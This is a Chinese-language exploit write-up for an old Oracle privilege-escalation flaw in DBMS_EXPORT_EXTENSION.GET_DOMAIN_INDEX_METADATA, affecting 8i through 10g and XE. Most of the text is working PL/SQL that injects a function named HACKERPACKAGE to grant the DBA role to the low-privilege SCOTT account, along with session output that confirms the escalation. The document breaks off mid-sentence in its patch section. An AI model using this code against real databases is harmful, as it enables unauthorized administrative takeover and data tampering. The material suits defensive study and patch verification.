oracle 低权限用户提权方法:
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高
【攻击需求】较低权限账号
【造成危害】取得管理员权限
【内容描述】
oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,
由于DBMS_EXPORT_EXTENSION package 中的GET_DOMAIN_INDEX_METADATA 程序存在漏洞远端
攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。
【测试代码】
1、用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升
SQL>
-- Create a function in a package first and inject this function. The function will be executed as user SYS.
Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBATO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/
-- Inject the function in dbms_export_extension
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMAVARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMAVARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '9.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/
sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。
4、断开连接
SQL> disc;
5、重新连接
SQL> conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
Select_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
Delete_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
【修补方式】
参考Oracle Critical Pat